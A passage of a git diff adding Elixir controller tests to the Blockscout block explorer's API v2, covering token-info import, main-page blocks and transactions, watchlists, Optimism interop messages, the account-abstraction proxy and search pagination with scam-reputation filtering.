"0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000034e45570000000000000000000000000000000000000000000000000000000000" + } + + %{id: id, method: "eth_call", params: [%{data: "0x18160ddd", to: _}, "latest"]} -> + %{ + id: id, + result: "0x0000000000000000000000000000000000000000000000000de0b6b3a7640000" + } + end)} + end + ) + + api_key = "abc123" + icon_url = nil + token_symbol = "NEW" + token_name = "new token" + + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, api_key) + + token_address = to_string(insert(:token).contract_address_hash) + + body = %{ + "token_address_hash" => token_address + } + + request = delete(conn, "/api/v2/import/token-info", Map.merge(body, %{"api_key" => api_key})) + assert %{"message" => "Success"} = json_response(request, 200) + + request = get(conn, "/api/v2/tokens/#{token_address}") + assert %{"icon_url" => ^icon_url, "name" => ^token_name, "symbol" => ^token_symbol} = json_response(request, 200) + + Application.put_env(:block_scout_web, :sensitive_endpoints_api_key, nil) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/internal_transaction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/internal_transaction_controller_test.exs new file mode 100644 index 000000000000..cee0215b1919 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/internal_transaction_controller_test.exs @@ -0,0 +1,94 @@ +defmodule BlockScoutWeb.API.V2.InternalTransactionControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.Chain.{Address, InternalTransaction} + + # todo: enable when /internal-transactions API endpoint will be enabled + # describe "/internal-transactions" do + # test "empty list", %{conn: conn} do + # request = get(conn, "/api/v2/internal-transactions") + + # assert response = json_response(request, 200) + # assert response["items"] == [] + # assert response["next_page_params"] == nil + # end + + # test "non empty list", %{conn: conn} do + # tx = + # :transaction + # |> insert() + # |> with_block() + + # insert(:internal_transaction, + # transaction: tx, + # block_hash: tx.block_hash, + # index: 0, + # block_index: 0 + # ) + + # request = get(conn, "/api/v2/internal-transactions") + + # assert response = json_response(request, 200) + # assert Enum.count(response["items"]) == 1 + # assert response["next_page_params"] == nil + # end + + # test "internal transactions with next_page_params", %{conn: conn} do + # transaction = insert(:transaction) |> with_block() + + # internal_transaction = + # insert(:internal_transaction, + # transaction: transaction, + # transaction_index: 0, + # block_number: transaction.block_number, + # block_hash: transaction.block_hash, + # index: 0, + # block_index: 0 + # ) + + # transaction_2 = insert(:transaction) |> with_block() + + # internal_transactions = + # for i <- 0..49 do + # insert(:internal_transaction, + # transaction: transaction_2, + # transaction_index: 0, + # block_number: transaction_2.block_number, + # block_hash: transaction_2.block_hash, + # index: i, + # block_index: i + # ) + # end + + # internal_transactions = [internal_transaction | internal_transactions] + + # request = get(conn, "/api/v2/internal-transactions") + # assert response = json_response(request, 200) + + # request_2nd_page = get(conn, "/api/v2/internal-transactions", response["next_page_params"]) + # assert response_2nd_page = json_response(request_2nd_page, 200) + + # check_paginated_response(response, response_2nd_page, internal_transactions) + # end + # end + + # defp compare_item(%InternalTransaction{} = internal_transaction, json) do + # assert Address.checksum(internal_transaction.from_address_hash) == json["from"]["hash"] + # assert Address.checksum(internal_transaction.to_address_hash) == json["to"]["hash"] + # assert to_string(internal_transaction.transaction_hash) == json["transaction_hash"] + # assert internal_transaction.block_number == json["block_number"] + # assert internal_transaction.block_index == json["block_index"] + # end + + # defp check_paginated_response(first_page_resp, second_page_resp, internal_transactions) do + # assert Enum.count(first_page_resp["items"]) == 50 + # assert first_page_resp["next_page_params"] != nil + # compare_item(Enum.at(internal_transactions, 50), Enum.at(first_page_resp["items"], 0)) + + # compare_item(Enum.at(internal_transactions, 1), Enum.at(first_page_resp["items"], 49)) + + # assert Enum.count(second_page_resp["items"]) == 1 + # assert second_page_resp["next_page_params"] == nil + # compare_item(Enum.at(internal_transactions, 0), Enum.at(second_page_resp["items"], 0)) + # end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/main_page_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/main_page_controller_test.exs new file mode 100644 index 000000000000..3445aa5699ae --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/main_page_controller_test.exs @@ -0,0 +1,181 @@ +defmodule BlockScoutWeb.API.V2.MainPageControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.Account.{Identity, WatchlistAddress} + alias Explorer.Chain.{Address, Block, Transaction} + alias Explorer.Repo + + import Explorer.Chain, only: [hash_to_lower_case_string: 1] + + setup do + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Blocks.child_id()) + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.TransactionsApiV2.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.TransactionsApiV2.child_id()) + + :ok + end + + describe "/main-page/blocks" do + test "get empty list when no blocks", %{conn: conn} do + request = get(conn, "/api/v2/main-page/blocks") + assert [] = json_response(request, 200) + end + + test "get last 4 blocks", %{conn: conn} do + blocks = insert_list(10, :block) |> Enum.take(-4) |> Enum.reverse() + + request = get(conn, "/api/v2/main-page/blocks") + assert response = json_response(request, 200) + assert Enum.count(response) == 4 + + for i <- 0..3 do + compare_item(Enum.at(blocks, i), Enum.at(response, i)) + end + end + end + + describe "/main-page/transactions" do + test "get empty list when no transactions", %{conn: conn} do + request = get(conn, "/api/v2/main-page/transactions") + assert [] = json_response(request, 200) + end + + test "get last 6 transactions", %{conn: conn} do + transactions = insert_list(10, :transaction) |> with_block() |> Enum.take(-6) |> Enum.reverse() + + request = get(conn, "/api/v2/main-page/transactions") + assert response = json_response(request, 200) + assert Enum.count(response) == 6 + + for i <- 0..5 do + compare_item(Enum.at(transactions, i), Enum.at(response, i)) + end + end + end + + describe "/main-page/transactions/watchlist" do + test "unauthorized", %{conn: conn} do + request = get(conn, "/api/v2/main-page/transactions/watchlist") + assert %{"message" => "Unauthorized"} = json_response(request, 401) + end + + test "get last 6 transactions", %{conn: conn} do + insert_list(10, :transaction) |> with_block() + + auth = build(:auth) + {:ok, user} = Identity.find_or_create(auth) + + conn = Plug.Test.init_test_session(conn, current_user: user) + + address_1 = insert(:address) + + watchlist_address_1 = + Repo.account_repo().insert!(%WatchlistAddress{ + name: "wallet_1", + watchlist_id: user.watchlist_id, + address_hash: address_1.hash, + address_hash_hash: hash_to_lower_case_string(address_1.hash), + watch_coin_input: true, + watch_coin_output: true, + watch_erc_20_input: true, + watch_erc_20_output: true, + watch_erc_721_input: true, + watch_erc_721_output: true, + watch_erc_1155_input: true, + watch_erc_1155_output: true, + notify_email: true + }) + + address_2 = insert(:address) + + watchlist_address_2 = + Repo.account_repo().insert!(%WatchlistAddress{ + name: "wallet_2", + watchlist_id: user.watchlist_id, + address_hash: address_2.hash, + address_hash_hash: hash_to_lower_case_string(address_2.hash), + watch_coin_input: true, + watch_coin_output: true, + watch_erc_20_input: true, + watch_erc_20_output: true, + watch_erc_721_input: true, + watch_erc_721_output: true, + watch_erc_1155_input: true, + watch_erc_1155_output: true, + notify_email: true + }) + + transactions_1 = insert_list(2, :transaction, from_address: address_1) |> with_block() + transactions_2 = insert_list(1, :transaction, from_address: address_2, to_address: address_1) |> with_block() + transactions_3 = insert_list(3, :transaction, to_address: address_2) |> with_block() + transactions = (transactions_1 ++ transactions_2 ++ transactions_3) |> Enum.reverse() + + request = get(conn, "/api/v2/main-page/transactions/watchlist") + assert response = json_response(request, 200) + assert Enum.count(response) == 6 + + for i <- 0..5 do + compare_item(Enum.at(transactions, i), Enum.at(response, i), %{ + address_1.hash => watchlist_address_1.name, + address_2.hash => watchlist_address_2.name + }) + end + end + end + + describe "/main-page/indexing-status" do + test "get indexing status", %{conn: conn} do + request = get(conn, "/api/v2/main-page/indexing-status") + assert request = json_response(request, 200) + + assert Map.has_key?(request, "finished_indexing_blocks") + assert Map.has_key?(request, "finished_indexing") + assert Map.has_key?(request, "indexed_blocks_ratio") + assert Map.has_key?(request, "indexed_internal_transactions_ratio") + end + end + + defp compare_item(%Block{} = block, json) do + assert to_string(block.hash) == json["hash"] + assert block.number == json["height"] + end + + defp compare_item(%Transaction{} = transaction, json) do + assert to_string(transaction.hash) == json["hash"] + assert transaction.block_number == json["block_number"] + assert to_string(transaction.value.value) == json["value"] + assert Address.checksum(transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(transaction.to_address_hash) == json["to"]["hash"] + end + + defp compare_item(%Transaction{} = transaction, json, wl_names) do + assert to_string(transaction.hash) == json["hash"] + assert transaction.block_number == json["block_number"] + assert to_string(transaction.value.value) == json["value"] + assert Address.checksum(transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(transaction.to_address_hash) == json["to"]["hash"] + + assert json["to"]["watchlist_names"] == + if(wl_names[transaction.to_address_hash], + do: [ + %{ + "display_name" => wl_names[transaction.to_address_hash], + "label" => wl_names[transaction.to_address_hash] + } + ], + else: [] + ) + + assert json["from"]["watchlist_names"] == + if(wl_names[transaction.from_address_hash], + do: [ + %{ + "display_name" => wl_names[transaction.from_address_hash], + "label" => wl_names[transaction.from_address_hash] + } + ], + else: [] + ) + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/optimism_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/optimism_controller_test.exs new file mode 100644 index 000000000000..2e2400ca5057 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/optimism_controller_test.exs @@ -0,0 +1,46 @@ +defmodule BlockScoutWeb.API.V2.OptimismControllerTest do + use BlockScoutWeb.ConnCase + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import Mox + + alias Explorer.Chain.Data + alias Explorer.TestHelper + + setup :set_mox_global + + describe "/optimism/interop/messages" do + if @chain_type == :optimism do + test "handles message with 0x prefixed payload", %{conn: conn} do + insert(:op_interop_message, + payload: %Data{ + bytes: <<48, 120, 120, 73, 33, 116, 36, 121, 34, 115, 113, 39, 119, 112, 117, 118, 105, 106, 108, 93>> + } + ) + + insert(:op_interop_message, payload: "0x30787849217424792273712777707576696a6c5d") + + TestHelper.get_chain_id_mock() + + conn = get(conn, "/api/v2/optimism/interop/messages") + + assert %{ + "items" => [ + %{ + "payload" => "0x30787849217424792273712777707576696a6c5d" + }, + %{ + "payload" => "0x30787849217424792273712777707576696a6c5d" + } + ], + "next_page_params" => nil + } = json_response(conn, 200) + end + else + test "returns 404 in non optimism chain type", %{conn: conn} do + conn = get(conn, "/api/v2/optimism/interop/messages") + assert json_response(conn, 404) == %{"message" => "Endpoint not available for current chain type"} + end + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/proxy/account_abstraction_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/proxy/account_abstraction_controller_test.exs new file mode 100644 index 000000000000..4e623dc253e2 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/proxy/account_abstraction_controller_test.exs @@ -0,0 +1,242 @@ +defmodule BlockScoutWeb.API.V2.Proxy.AccountAbstractionControllerTest do + use BlockScoutWeb.ConnCase + use EthereumJSONRPC.Case, async: false + + # Helper function to create complete user operation data + defp create_user_op_data(operation_hash, block_hash, transaction_hash) do + %{ + "hash" => operation_hash, + "sender" => "0xc9f2b9AF320D92A7c9CD67BBbF0f3055F81B6d31", + "nonce" => "0x000000000000000000000000000000000000000000000001000000000000042e", + "call_data" => + "0xb61d27f600000000000000000000000047c4442562280196b54c640acd3af9f45c981f0c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000064541c9e4e00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020c5561301aaa52dbc9fdcbf9fdae2ea1a929207270c909f2b6248a3bc80b042b200000000000000000000000000000000000000000000000000000000", + "call_gas_limit" => "633880", + "verification_gas_limit" => "34721", + "pre_verification_gas" => "48192", + "max_fee_per_gas" => "220000000", + "max_priority_fee_per_gas" => "2829647646", + "signature" => + "0xff002c1dc16510d46e607fc4f05f0bb3fe73b1e8102b6b982fcfd2d0d1eed241d69206ffa9d4914417a679fbfe89b36259c7b96d7f84239e5037d9e8cc5456afab131c", + "raw" => %{ + "nonce" => "18446744073709552686", + "pre_verification_gas" => "48192", + "paymaster_and_data" => + "0x2cc0c7981d846b9f2a16276556f6e8cb52bfb6330000000000000000000000000000788f00000000000000000000000000000000000000000000000068c81c5dc97f5c2402d4193ba68f29746742a77fad9571c3bb52056a877a98e369feab6c13f091314a3db58e01de16f79e459269577a54b17a7764f2728180b00d3a37281b", + "signature" => + "0xff002c1dc16510d46e607fc4f05f0bb3fe73b1e8102b6b982fcfd2d0d1eed241d69206ffa9d4914417a679fbfe89b36259c7b96d7f84239e5037d9e8cc5456afab131c", + "gas_fees" => "0x0000000000000000000000000d1cef00000000000000000000000000a8a8ff1e", + "account_gas_limits" => "0x000000000000000000000000000087a10000000000000000000000000009ac18", + "init_code" => "0x", + "call_data" => + "0xb61d27f600000000000000000000000047c4442562280196b54c640acd3af9f45c981f0c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000064541c9e4e00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020c5561301aaa52dbc9fdcbf9fdae2ea1a929207270c909f2b6248a3bc80b042b200000000000000000000000000000000000000000000000000000000", + "sender" => "0xc9f2b9AF320D92A7c9CD67BBbF0f3055F81B6d31" + }, + "aggregator" => nil, + "aggregator_signature" => nil, + "entry_point" => "0x0000000071727De22E5E9d8BAf0edAc6f37da032", + "entry_point_version" => "v0.7", + "transaction_hash" => transaction_hash || "0xe0f96d979a2610a89a642744124e7caa087fe4771092286b763ea0d963a73fca", + "block_number" => "9208931", + "block_hash" => block_hash || "0xfe288e8d52d3148bda81194b9767e82d2238303a8808a1331b865cbb35f8bb35", + "bundler" => "0x92613ef2DF071255D6ccd554651e7e445e939A32", + "bundle_index" => 0, + "index" => 0, + "factory" => nil, + "paymaster" => "0x2cc0c7981D846b9F2a16276556f6e8cb52BfB633", + "status" => true, + "revert_reason" => nil, + "gas" => "747656", + "gas_price" => "1067209413", + "gas_used" => "416893", + "sponsor_type" => "paymaster_sponsor", + "user_logs_start_index" => 0, + "user_logs_count" => 100, + "fee" => "444912133813809", + "consensus" => true, + "timestamp" => "2025-09-15T13:52:12.000000Z", + "execute_target" => "0x47C4442562280196b54c640acD3AF9F45c981F0C", + "execute_call_data" => + "0x541c9e4e00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020c5561301aaa52dbc9fdcbf9fdae2ea1a929207270c909f2b6248a3bc80b042b2" + } + end + + describe "/proxy/account-abstraction/operations/{operation_hash}/summary?just_request_body=true" do + setup do + # Setup for TransactionInterpretation service + original_ti_config = + Application.get_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation) + + # Setup for AccountAbstraction service + original_aa_config = Application.get_env(:explorer, Explorer.MicroserviceInterfaces.AccountAbstraction) + + original_tesla_adapter = Application.get_env(:tesla, :adapter) + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + aa_bypass = Bypass.open() + ti_bypass = Bypass.open() + + on_exit(fn -> + Application.put_env( + :block_scout_web, + BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + original_ti_config + ) + + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.AccountAbstraction, original_aa_config) + Application.put_env(:tesla, :adapter, original_tesla_adapter) + + Bypass.down(aa_bypass) + Bypass.down(ti_bypass) + end) + + # Return bypass instances for use in tests + %{ + aa_bypass: aa_bypass, + ti_bypass: ti_bypass + } + end + + test "return 422 on invalid operation hash", %{conn: conn} do + request = get(conn, "/api/v2/proxy/account-abstraction/operations/0x/summary?just_request_body=true") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "return 404 on non existing operation", %{conn: conn, aa_bypass: aa_bypass, ti_bypass: ti_bypass} do + operation_hash = "0x" <> String.duplicate("0", 64) + + # Setup AccountAbstraction service + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.AccountAbstraction, + enabled: true, + service_url: "http://localhost:#{aa_bypass.port}" + ) + + # Setup TransactionInterpretation service + Application.put_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + enabled: true, + service_url: "http://localhost:#{ti_bypass.port}" + ) + + Bypass.expect_once( + aa_bypass, + "GET", + "/api/v1/userOps/#{operation_hash}", + fn conn -> + Plug.Conn.resp(conn, 404, Jason.encode!(%{"error" => "Not found"})) + end + ) + + request = + get(conn, "/api/v2/proxy/account-abstraction/operations/#{operation_hash}/summary?just_request_body=true") + + assert %{"error" => "Not found"} = json_response(request, 404) + end + + test "return request body for existing operation", %{conn: conn, aa_bypass: aa_bypass, ti_bypass: ti_bypass} do + operation_hash = "0xcfb9123a6591d9f80ded2aec7e9842c2258c8e2a0d3c88f3a38a060aa10e9869" + + # Setup services + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.AccountAbstraction, + enabled: true, + service_url: "http://localhost:#{aa_bypass.port}" + ) + + Application.put_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + enabled: true, + service_url: "http://localhost:#{ti_bypass.port}" + ) + + transaction = + :transaction + |> insert() + |> with_block() + + logs = + insert_list(51, :token_transfer_log, + transaction: transaction, + block: transaction.block + ) + + for log <- logs do + insert(:token_transfer_with_predefined_params, + log: log, + block: transaction.block + ) + end + + user_op = create_user_op_data(operation_hash, transaction.block_hash, transaction.hash) + + Bypass.expect_once( + aa_bypass, + "GET", + "/api/v1/userOps/#{operation_hash}", + fn conn -> + Plug.Conn.resp(conn, 200, Jason.encode!(user_op)) + end + ) + + request = + get(conn, "/api/v2/proxy/account-abstraction/operations/#{operation_hash}/summary?just_request_body=true") + + assert response = json_response(request, 200) + + # Verify the structure of the request body + assert Map.has_key?(response, "data") + assert Map.has_key?(response, "logs_data") + assert Map.has_key?(response, "chain_id") + + # Verify data structure + data = response["data"] + assert Map.has_key?(data, "to") + assert Map.has_key?(data, "from") + assert Map.has_key?(data, "hash") + assert Map.has_key?(data, "type") + assert Map.has_key?(data, "value") + assert Map.has_key?(data, "method") + assert Map.has_key?(data, "status") + assert Map.has_key?(data, "transaction_types") + assert Map.has_key?(data, "raw_input") + assert Map.has_key?(data, "decoded_input") + assert Map.has_key?(data, "token_transfers") + + # Verify logs_data structure + logs_data = response["logs_data"] + assert Map.has_key?(logs_data, "items") + assert is_list(logs_data["items"]) + + # Verify chain_id is present and is an integer + assert is_integer(response["chain_id"]) + + # Verify operation data matches + assert operation_hash == data["hash"] + assert 0 == data["type"] + assert "0" == data["value"] + assert true == data["status"] + + assert Enum.count(data["token_transfers"]) == 50 + end + + test "return 403 when transaction interpretation service is disabled", %{ + conn: conn, + aa_bypass: aa_bypass + } do + operation_hash = "0xcfb9123a6591d9f80ded2aec7e9842c2258c8e2a0d3c88f3a38a060aa10e9869" + + # Setup AccountAbstraction service as enabled + Application.put_env(:explorer, Explorer.MicroserviceInterfaces.AccountAbstraction, + enabled: true, + service_url: "http://localhost:#{aa_bypass.port}" + ) + + # Setup TransactionInterpretation service as disabled + Application.put_env(:block_scout_web, BlockScoutWeb.MicroserviceInterfaces.TransactionInterpretation, + enabled: false + ) + + request = + get(conn, "/api/v2/proxy/account-abstraction/operations/#{operation_hash}/summary?just_request_body=true") + + assert %{"message" => "Transaction Interpretation Service is disabled"} = json_response(request, 403) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/search_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/search_controller_test.exs new file mode 100644 index 000000000000..e9fdaf5817a6 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/search_controller_test.exs @@ -0,0 +1,2759 @@ +defmodule BlockScoutWeb.API.V2.SearchControllerTest do + use BlockScoutWeb.ConnCase + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias Explorer.Chain.{Address, Block} + alias Explorer.Tags.AddressTag + alias Plug.Conn.Query + + describe "/search" do + test "get token-transfers with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:unique_token) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/search?q=#{token.name}") + + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "ok" + + assert response == conn |> get("/api/v2/search?q=#{token.name}") |> json_response(200) + end + + test "get smart-contract with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:unique_token) + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/search?q=#{token.name}") + + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "scam" + + request = conn |> get("/api/v2/search?q=#{token.name}") + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get token-transfers with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:unique_token) + + request = conn |> get("/api/v2/search?q=#{token.name}") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "ok" + end + + test "get token-transfers with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + token = insert(:unique_token) + + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + request = conn |> get("/api/v2/search?q=#{token.name}") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "ok" + end + + test "search block", %{conn: conn} do + block = insert(:block) + + request = get(conn, "/api/v2/search?q=#{block.hash}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "block" + assert item["block_type"] == "block" + assert item["block_number"] == block.number + assert item["block_hash"] == to_string(block.hash) + assert item["url"] =~ to_string(block.hash) + + request = get(conn, "/api/v2/search?q=#{block.number}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "block" + assert item["block_number"] == block.number + assert item["block_hash"] == to_string(block.hash) + assert item["url"] =~ to_string(block.hash) + assert item["timestamp"] == block.timestamp |> to_string() |> String.replace(" ", "T") + end + + test "search block with small and short number", %{conn: conn} do + block = insert(:block, number: 1) + + request = get(conn, "/api/v2/search?q=#{block.number}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "block" + assert item["block_number"] == block.number + assert item["block_hash"] == to_string(block.hash) + assert item["url"] =~ to_string(block.hash) + assert item["timestamp"] == block.timestamp |> to_string() |> String.replace(" ", "T") + end + + test "search reorg", %{conn: conn} do + block = insert(:block, consensus: false) + + request = get(conn, "/api/v2/search?q=#{block.hash}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "block" + assert item["block_type"] == "reorg" + assert item["block_number"] == block.number + assert item["block_hash"] == to_string(block.hash) + assert item["url"] =~ to_string(block.hash) + + request = get(conn, "/api/v2/search?q=#{block.number}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "block" + assert item["block_type"] == "reorg" + assert item["block_number"] == block.number + assert item["block_hash"] == to_string(block.hash) + assert item["url"] =~ to_string(block.hash) + end + + test "search address", %{conn: conn} do + address = insert(:address) + name = insert(:unique_address_name, address: address) + + request = get(conn, "/api/v2/search?q=#{address.hash}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "address" + assert item["name"] == name.name + assert item["address_hash"] == Address.checksum(address.hash) + assert item["url"] =~ Address.checksum(address.hash) + assert item["is_smart_contract_verified"] == address.verified + end + + test "search contract", %{conn: conn} do + contract = insert(:unique_smart_contract) + + request = get(conn, "/api/v2/search?q=#{contract.name}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 1 + assert response["next_page_params"] == nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "contract" + assert item["name"] == contract.name + assert item["address_hash"] == Address.checksum(contract.address_hash) + assert item["url"] =~ Address.checksum(contract.address_hash) + assert item["is_smart_contract_verified"] == true + end + + test "check pagination", %{conn: conn} do + name = "contract" + _contracts = insert_list(51, :smart_contract, name: name) + + request = get(conn, "/api/v2/search?q=#{name}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + + item = Enum.at(response["items"], 0) + + assert item["type"] == "contract" + assert item["name"] == name + + request_2 = get(conn, "/api/v2/search", response["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_2 = json_response(request_2, 200) + + assert Enum.count(response_2["items"]) == 1 + assert response_2["next_page_params"] == nil + + item = Enum.at(response_2["items"], 0) + + assert item["type"] == "contract" + assert item["name"] == name + + assert item not in response["items"] + end + + test "check pagination #1", %{conn: conn} do + name = "contract" + contracts = for(i <- 0..50, do: insert(:smart_contract, name: "#{name} #{i}")) |> Enum.sort_by(fn x -> x.name end) + + tokens = + for i <- 0..50, do: insert(:token, name: "#{name} #{i}", circulating_market_cap: 10000 - i, holder_count: 0) + + labels = + for(i <- 0..50, do: insert(:address_to_tag, tag: build(:address_tag, display_name: "#{name} #{i}"))) + |> Enum.sort_by(fn x -> x.tag.display_name end) + + request = get(conn, "/api/v2/search?q=#{name}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + assert Enum.at(response["items"], 0)["type"] == "label" + assert Enum.at(response["items"], 49)["type"] == "label" + + request_2 = get(conn, "/api/v2/search", response["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_2 = json_response(request_2, 200) + + assert Enum.count(response_2["items"]) == 50 + assert response_2["next_page_params"] != nil + assert Enum.at(response_2["items"], 0)["type"] == "label" + assert Enum.at(response_2["items"], 1)["type"] == "token" + assert Enum.at(response_2["items"], 49)["type"] == "token" + + request_3 = get(conn, "/api/v2/search", response_2["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_3 = json_response(request_3, 200) + + assert Enum.count(response_3["items"]) == 50 + assert response_3["next_page_params"] != nil + assert Enum.at(response_3["items"], 0)["type"] == "token" + assert Enum.at(response_3["items"], 1)["type"] == "token" + assert Enum.at(response_3["items"], 2)["type"] == "contract" + assert Enum.at(response_3["items"], 49)["type"] == "contract" + + request_4 = get(conn, "/api/v2/search", response_3["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_4 = json_response(request_4, 200) + + assert Enum.count(response_4["items"]) == 3 + assert response_4["next_page_params"] == nil + assert Enum.all?(response_4["items"], fn x -> x["type"] == "contract" end) + + labels_from_api = response["items"] ++ [Enum.at(response_2["items"], 0)] + + assert labels + |> Enum.zip(labels_from_api) + |> Enum.all?(fn {label, item} -> + label.tag.display_name == item["name"] && item["type"] == "label" && + item["address_hash"] == Address.checksum(label.address_hash) + end) + + tokens_from_api = Enum.slice(response_2["items"], 1, 49) ++ Enum.slice(response_3["items"], 0, 2) + + assert tokens + |> Enum.zip(tokens_from_api) + |> Enum.all?(fn {token, item} -> + token.name == item["name"] && item["type"] == "token" && + item["address_hash"] == Address.checksum(token.contract_address_hash) + end) + + contracts_from_api = Enum.slice(response_3["items"], 2, 48) ++ response_4["items"] + + assert contracts + |> Enum.zip(contracts_from_api) + |> Enum.all?(fn {contract, item} -> + contract.name == item["name"] && item["type"] == "contract" && + item["address_hash"] == Address.checksum(contract.address_hash) + end) + end + + test "check pagination #2 (token should be ranged by fiat_value)", %{conn: conn} do + name = "contract" + contracts = for(i <- 0..50, do: insert(:smart_contract, name: "#{name} #{i}")) |> Enum.sort_by(fn x -> x.name end) + + tokens = + for i <- 0..50, do: insert(:token, name: "#{name} #{i}", fiat_value: 10000 - i, holder_count: 0) + + labels = + for(i <- 0..50, do: insert(:address_to_tag, tag: build(:address_tag, display_name: "#{name} #{i}"))) + |> Enum.sort_by(fn x -> x.tag.display_name end) + + request = get(conn, "/api/v2/search?q=#{name}") + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 50 + assert response["next_page_params"] != nil + assert Enum.at(response["items"], 0)["type"] == "label" + assert Enum.at(response["items"], 49)["type"] == "label" + + request_2 = get(conn, "/api/v2/search", response["next_page_params"] |> Query.encode() |> Query.decode()) + assert response_2 = json_response(request_2, 200) + + assert Enum.count(response_2["items"]) == 50 + assert response_2["next_page_params"] != nil + assert Enum.at(response_2["items"], 0)["type"] == "label" + assert Enum.at(response_2["items"], 1)["type"] == "token" + assert Enum.at(response_2["items"], 49)["type"] == "token" + + request_3 = get(conn, "/api/v2/search", 